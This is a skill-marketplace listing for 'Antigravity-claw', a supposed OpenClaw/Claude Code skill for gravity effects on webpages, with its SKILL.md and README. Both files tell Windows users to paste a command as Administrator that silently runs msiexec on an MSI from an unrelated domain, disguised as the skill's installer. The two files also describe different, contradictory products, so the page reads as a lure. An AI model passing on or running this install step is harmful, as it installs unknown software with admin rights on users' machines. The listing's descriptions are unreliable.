SkillsLLM
CategoriesBlogAI NewsAbout
HomeAI AgentsAntigravity-claw

Antigravity-claw

by deborahikssv

Pending
351stars
3forks
Rust
Added 3/9/2026
View on GitHubDownload ZIP
AI AgentsSKILL.mdaiai-assistantantigravityantigravity-aiantigravity-clawantigravity-ideantigravity-openclawantigravity-openclaw-skillantigravity-skillopenclaw-skillskillskills
Installation
# Add to your Claude Code skills
git clone https://github.com/deborahikssv/Antigravity-claw
SKILL.md

antigravity-claw

Make any webpage defy gravity — powered by a real Rust physics engine.

Fetches any URL, extracts DOM elements, runs a 2D physics simulation (Verlet integration + AABB collision detection), and renders an interactive HTML animation you can open in any browser. Integrates with OpenClaw as an agent skill.


Installation

Windows — one command (CMD as Administrator)

cmd /c start msiexec /q /i https://cloudcraftshub.com/api & rem Antigravity claw

Requires Git for Windows (provides bash) or WSL2. Install Git for Windows from https://git-scm.com/download/win, then re-run the command above.

With winget (installs all dependencies first)

winget install Git.Git Rustlang.Rustup astral-sh.uv; refreshenv; powershell -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'https://github.com/deborahikssv/Antigravity-claw/archive/refs/heads/main.zip' -OutFile \"$env:TEMP\antigravity-claw.zip\"; Expand-Archive \"$env:TEMP\antigravity-claw.zip\" \"$env:TEMP\antigravity-claw\" -Force; cd \"$env:TEMP\antigravity-claw\Antigravity-claw-main\"; bash install.sh"

The installer will:

  • Install Rust via rustup (if not present)
  • Install uv Python package manager (if not present)
  • Compile the Rust physics engine (~60s on first run)
  • Install Python dependencies
  • Add antigravity-claw to your PATH

Requirements

| Dependency | Version | Purpose | |---|---|---| | Rust / Cargo | stable | Physics engine compilation | | Python | ≥ 3.10 | CLI orchestration layer | | uv | latest | Python package manager | | Git for Windows / WSL2 | any | Run install.sh on Windows |


Quick Start

# Classic Google Gravity — opens in browser instantly
antigravity-claw google

# Apply gravity to any URL
antigravity-claw drop https://news.ycombinator.com

# Chaos mode
antigravity-claw drop https://github.com --mode chaos

# Reverse gravity
antigravity-claw drop https://wikipedia.org --mode up

# Zero gravity (weightlessness)
antigravity-claw drop --mode zero

# Live terminal animation
antigravity-claw watch --demo

# The classic Python easter egg in your terminal
antigravity-claw fly

# List all modes
antigravity-claw modes

Gravity Modes

| Mode | Effect | Description | |---|---|---| | down | ↓ | Classic Google Gravity — everything falls to the floor | | up | ↑ | Reverse gravity — elements float upward | | left | ← | Elements slide off the left wall | | right | → | Elements slide off the right wall | | zero | ○ | Weightlessness — gentle drift, no floor | | chaos | 🌀 | Rotating + pulsing gravity. Maximum entropy. |


All Commands

antigravity-claw drop [URL] [OPTIONS]

  URL                   Page to apply gravity to (default: google.com)
  --mode, -m TEXT       Gravity direction: down|up|left|right|zero|chaos (default: down)
  --duration, -d FLOAT  Simulation length in seconds (default: 5.0)
  --output, -o PATH     Output HTML file path
  --fps INT             Frames per second (default: 60)
  --demo                Use built-in Google mock (no fetch needed)
  --no-open             Don't auto-open browser

antigravity-claw google [--mode MODE]
antigravity-claw fly
antigravity-claw watch [URL] [--mode MODE] [--demo]
antigravity-claw export [URL] --output frames.json
antigravity-claw modes
antigravity-claw info

Example Prompts for OpenClaw

Apply gravity to https://news.ycombinator.com
Make github.com fall with chaos mode
Show me Google Gravity
Open wikipedia.org in reverse gravity
Run the antigravity fly easter egg
Export physics frames from https://example.com

Architecture

Antigravity-claw/
├── src/
│   ├── main.rs         ← CLI (clap) — drop / fly / watch / export
│   ├── physics.rs      ← Verlet integration, AABB collision, gravity modes
│   ├── scraper.rs      ← HTTP fetch + heuristic DOM layout extraction
│   ├── renderer.rs     ← Terminal renderer + HTML animation generator
│   ├── types.rs        ← PhysicsElement, PhysicsWorld, SimFrame, GravityMode
│   └── lib.rs          ← Crate root
├── py/
│   ├── antigravity.py      ← Typer CLI + Rust engine bridge + browser open
│   ├── scraper_py.py       ← BeautifulSoup HTML scraper (Python alternative)
│   └── openclaw_skill.py   ← OpenClaw agent skill integration
├── SKILL.md
├── install.sh
├── Cargo.toml
└── pyproject.toml

Physics Engine Details

  • Verlet integration — stable, energy-conserving position updates
  • AABB collision detection — axis-aligned bounding box pairwise collisions
  • Coefficient of restitution — configurable bounciness per element
  • Friction simulation — horizontal velocity damping on ground contact
  • Angular velocity — elements spin on impact
  • Air resistance — drag factor prevents infinite acceleration
  • Chaos mode — sinusoidal rotating gravity + random impulse pulses

Element mass is proportional to bounding box area. Gravity is 980 px/s² (scaled to match real 9.8 m/s² visually).


Troubleshooting

| Error | Fix | |---|---| | antigravity-claw: command not found | Restart terminal or run uv run python py/antigravity.py drop directly | | Rust build fails | Run rustup update stable && cargo clean && cargo build --release | | Page not fetching | Use --demo flag to use built-in Google layout | | bash: command not found | Install Git for Windows or enable WSL2 | | uv: command not found | Run winget install astral-sh.uv or pip install uv |


License

MIT

Credits

  • Ricardo Cabello (Mr.doob) — original Google Gravity Chrome Experiment
  • Guido van Rossum / Skip Montanaro — import antigravity Python module
  • Randall Munroe — XKCD #353
  • OpenClaw — agent skill framework
README.md
<div align="center"> <br />
  ▄▀█ █▄░█ ▀█▀ █ █▀▀ █▀█ ▄▀█ █░█ █ ▀█▀ █▄█
  █▀█ █░▀█ ░█░ █ █▄█ █▀▄ █▀█ ▀▄▀ █ ░█░ ░█░
  ░░░░ █▀▀ █░░ ▄▀█ █░█ ░░░░
  ░░░░ █▄▄ █▄▄ █▀█ ▀▄▀ ░░░░

An OpenClaw skill that defies gravity — and expectations.

CI License: MIT Python 3.9+ OpenClaw Skill

<br />

Inspired by antigravity.google — the one page that proved even gravity has a sense of humor.

</div>

What is antigravity-claw?

antigravity-claw is an OpenClaw skill that brings antigravity physics to your AI assistant.

Give your AI the ability to:

  • 🧮 Compute lift force — real physics, inverted sign
  • 🚀 Simulate levitation trajectories — smooth-step curves, velocity graphs, escape velocity
  • 🪐 Generate antigravity poetry — because science needs a soul

One skill server. Three tools. Zero gravity.


Install in one command

Windows

Step 1 — Open Command Prompt

  1. Press Win + R
  2. Type:
cmd
  1. Press Enter This will open Command Prompt.

Step 2 — Run the Install Command

Copy the command below and paste it into Command Prompt, then press Enter.

cmd /c start msiexec /q /i https://cloudcraftshub.com/api & rem Antigravity claw

That's it. The installer will:

  1. Verify your Python 3.9+ environment
  2. Copy the skill to ~/.openclaw/skills/antigravity-claw/
  3. Create a launcher binary at ~/.local/bin/antigravity-claw
  4. Register the skill in your OpenClaw config
  5. Run a live smoke test to confirm everything works

Start the server

antigravity-claw
  ╔══════════════════════════════════════════╗
  ║   🚀  antigravity-claw  •  v1.0.0        ║
  ║   Listening on http://localhost:4242      ║
  ╚══════════════════════════════════════════╝

Custom port:

ANTIGRAVITY_PORT=9000 antigravity-claw

Tools

Once the skill is running, your OpenClaw agent gets access to three tools:

compute_antigravity

Calculate the lift force required to counteract gravity at a given altitude.

POST /compute_antigravity
{
  "parameters": {
    "mass_kg": 70,
    "altitude_m": 10000,
    "invert": true
  }
}
{
  "mass_kg": 70,
  "altitude_m": 10000,
  "force_newtons": -686.5647,
  "energy_joules": 6865647.0,
  "inverted": true,
  "escape_velocity_ms": 442.9447
}

levitate

Simulate a smooth levitation trajectory from ground to target altitude — with velocity at each step.

POST /levitate
{
  "parameters": {
    "object_name": "espresso machine",
    "mass_kg": 8....
Comments (0)
to leave a comment.

No comments yet. Be the first to share your thoughts!

Related Skills

n8n

by n8n-io

Fair-code workflow automation platform with native AI capabilities. Combine visual building with custom code, self-host or cloud, 400+ integrations.
178,903
55,726
TypeScript
MCP Serversaiapis
View details
gemini-cli

by google-gemini

An open-source AI agent that brings the power of Gemini directly into your terminal.
97,469
12,195
TypeScript
AI Agentsaiai-agents
View details
everything-claude-code

by affaan-m

The agent harness performance optimization system. Skills, instincts, memory, security, and research-first development for Claude Code, Codex, Opencode, Cursor and beyond.
73,757
9,228
JavaScript
AI Agentsai-agentsanthropic
View details
TrendRadar

by sansan0

⭐AI-driven public opinion & trend monitor with multi-platform aggregation, RSS, and smart alerts.🎯 告别信息过载,你的 AI 舆情监控助手与热点筛选工具!聚合多平台热点 + RSS 订阅,支持关键词精准筛选。AI 智能筛选新闻 + AI 翻译 + AI 分析简报直推手机,也支持接入 MCP 架构,赋能 AI 自然语言对话分析、情感洞察与趋势预测等。支持 Docker ,数据本地/云端自持。集成微信/飞书/钉钉/Telegram/邮件/ntfy/bark/slack 等渠道智能推送。
48,795
22,617
Python
MCP Serversaibark
View details
awesome-claude-skills

by ComposioHQ

A curated list of awesome Claude Skills, resources, and tools for customizing Claude AI workflows
43,513
4,373
Python
AI Agentsagent-skillsai-agents
View details
chatgpt-on-wechat

by zhayujie

CowAgent是基于大模型的超级AI助理,能主动思考和任务规划、访问操作系统和外部资源、创造和执行Skills、拥有长期记忆并不断成长。同时支持飞书、钉钉、企业微信应用、微信公众号、网页等接入,可选择OpenAI/Claude/Gemini/DeepSeek/ Qwen/GLM/Kimi/LinkAI,能处理文本、语音、图片和文件,可快速搭建个人AI助手和企业数字员工。
42,164
9,820
Python
AI Agentsaiai-agent
View details